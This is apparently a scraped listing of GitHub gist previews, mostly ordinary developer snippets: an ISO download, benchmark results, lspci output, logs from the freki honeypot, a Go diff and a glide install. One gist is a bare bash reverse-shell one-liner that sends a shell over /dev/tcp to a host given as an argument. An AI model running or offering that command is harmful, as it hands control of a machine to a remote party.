root@scw-01f953:~# curl -OL http://mirrors.evowise.com/linuxmint/stable/18.1/linuxmint-18.1-cinnamon-64bit.iso
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1726M 100 1726M 0 0 99.1M 0 0:00:17 0:00:17 --:--:-- 102M
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
time sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo whoami |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
benchcmp bench_current.test bench_1.9.test | |
benchmark old ns/op new ns/op delta | |
BenchmarkPearson-4 0.31 0.30 -3.23% | |
BenchmarkFillBuckets-4 7632 7334 -3.90% | |
BenchmarkQuartilePoints-4 2279 1770 -22.33% | |
BenchmarkHash-4 12908 12433 -3.68% | |
benchmark old allocs new allocs delta | |
BenchmarkPearson-4 0 0 +0.00% | |
BenchmarkFillBuckets-4 3 3 +0.00% |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import tornado.ioloop | |
import tornado.web | |
from tornado import gen | |
from tornado.web import asynchronous | |
from datetime import timedelta | |
from tornado.httpclient import AsyncHTTPClient | |
loop = tornado.ioloop.IOLoop.instance() | |
http_client = AsyncHTTPClient() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ uname -a | |
Linux elementary 4.8.0-52-generic #55~16.04.1-Ubuntu SMP Fri Apr 28 14:36:29 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux | |
$ sudo lspci -vnn | grep VGA -A 20 | |
00:02.0 VGA compatible controller [0300]: Intel Corporation Sky Lake Integrated Graphics [8086:1916] (rev 07) (prog-if 00 [VGA controller]) | |
Subsystem: Lenovo Skylake Integrated Graphics [17aa:224b] | |
Flags: bus master, fast devsel, latency 0, IRQ 128 | |
Memory at eb000000 (64-bit, non-prefetchable) [size=16M] | |
Memory at a0000000 (64-bit, prefetchable) [size=256M] | |
I/O ports at e000 [size=64] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
test_1 | Port 7000 to 8000 should echo ✔✔✔✔✔✔✔✔✔✔✔✔ | |
freki_1 | DEBU[0001] [freki ] new UDP connection 172.17.0.3:57055->1337 | |
freki_1 | DEBU[0001] [contable] registering 172.17.0.3:57055->1337 | |
freki_1 | INFO[0001] [log.udp ] 6 172.17.0.3:57055 <nil> | |
freki_1 | 00000000 68 65 6c 6c 6f 0a |hello.| | |
freki_1 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/conntable.go b/conntable.go | |
index b2c8736..7e21f59 100644 | |
--- a/conntable.go | |
+++ b/conntable.go | |
@@ -1,9 +1,13 @@ | |
package freki | |
import ( | |
+ "bytes" | |
+ "errors" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bash -i >& /dev/tcp/$1/6666 0>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ./gollum -ll 2 -c config/http_recieve.conf | |
We be nice to them, if they be nice to us. (startup) | |
^CMaster betrayed us. Wicked. Tricksy, False. (signal) | |
Filthy little hobbites. They stole it from us. (shutdown) | |
It's the only way. Go in, or go back. (flushing) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ glide get github.com/docker/docker#^1.12.0 | |
[INFO] Preparing to install 1 package. | |
[INFO] Attempting to get package github.com/docker/docker | |
[INFO] --> Adding github.com/docker/docker to your configuration with the version ^1.12.0 | |
[INFO] Downloading dependencies. Please wait... | |
[INFO] --> Fetching updates for github.com/docker/docker. | |
[INFO] Resolving imports | |
[INFO] --> Detected semantic version. Setting version for github.com/docker/docker to v1.13.0. | |
[INFO] Downloading dependencies. Please wait... | |
[INFO] Exporting resolved dependencies... |